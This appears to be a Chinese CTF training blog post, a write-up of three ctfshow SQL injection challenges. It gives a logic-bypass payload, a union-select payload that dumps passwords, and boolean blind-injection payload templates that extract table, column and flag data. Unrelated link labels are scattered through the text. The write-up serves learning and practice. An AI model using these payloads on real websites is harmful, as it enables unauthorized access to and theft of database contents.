【Ctfer训练计划】——(十一)

作者名:Demo不是emo

主页面链接:
主页传送门

创作初心:
一切为了她

座右铭:
不要让时代的悲哀成为你的悲哀

专研方向:
web安全,后渗透技术

每日emo:
生命当如蜡烛,从头燃烧到尾

一、简单的逻辑绕过

题目
:web171

训练平台
:ctfshow

题目描述
入门sql

环境容器打开如下

嵌入式教程

payload如下

ArrayList集合

    1' or username='flag'%23

语句分析如下

如何生成keystore

此时的语句逻辑就是当username!='flag'和id='1'同时满足时,前半段语句为true,因为这里的username='flag',所以前半段语句自然结果为false,所以就执行username='flag'这后面半段,此时就相当于语句变为了如下

基础入门教程

$sql = "select username,password from user where  username='flag'#' limit 1;";

此时自然就绕过了前面的限制,成功读取到目标数据

Floyd算法

二、简单的union注入

题目
:web172

训练平台
:ctfshow

题目描述
入门sql

容器打开后页面如下

IO 分类

提示的sql语句

命令模式

$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

vue项目运行出现问题

就是一个简单的union注入取数据,不停地找数据就行了,这里就不多讲了。payload如下

adb 驱动获取

1' union select 1,(select group_concat(password) from ctfshow_web.ctfshow_user2),database()%23

三、sql盲注基础考察

题目
:web172

训练平台
:ctfshow

题目描述
考察sql基础,不要一把梭,没意思

环境打开如下

Debug调试

后端sql语句

gpuimage

$sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;";

经过检测就是一个简单的布尔盲注,一步一步拿数据就可以了,如下

sqlserver

#payload = f"1 or ascii(substr(database(),{i},1))>{mid}# " #查库

#payload = f"1' or ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='note'),{i},1))>{mid}#" #查表

#payload = f"1' or ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='fl4g'),{i},1))>{mid}#" #查列

#payload = f"1' or ascii(substr((seleCt(flag)from(fl4g)),{i},1))>{mid}#" #查数据

一位一位读取flag,最后拿到flag即可

列表

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注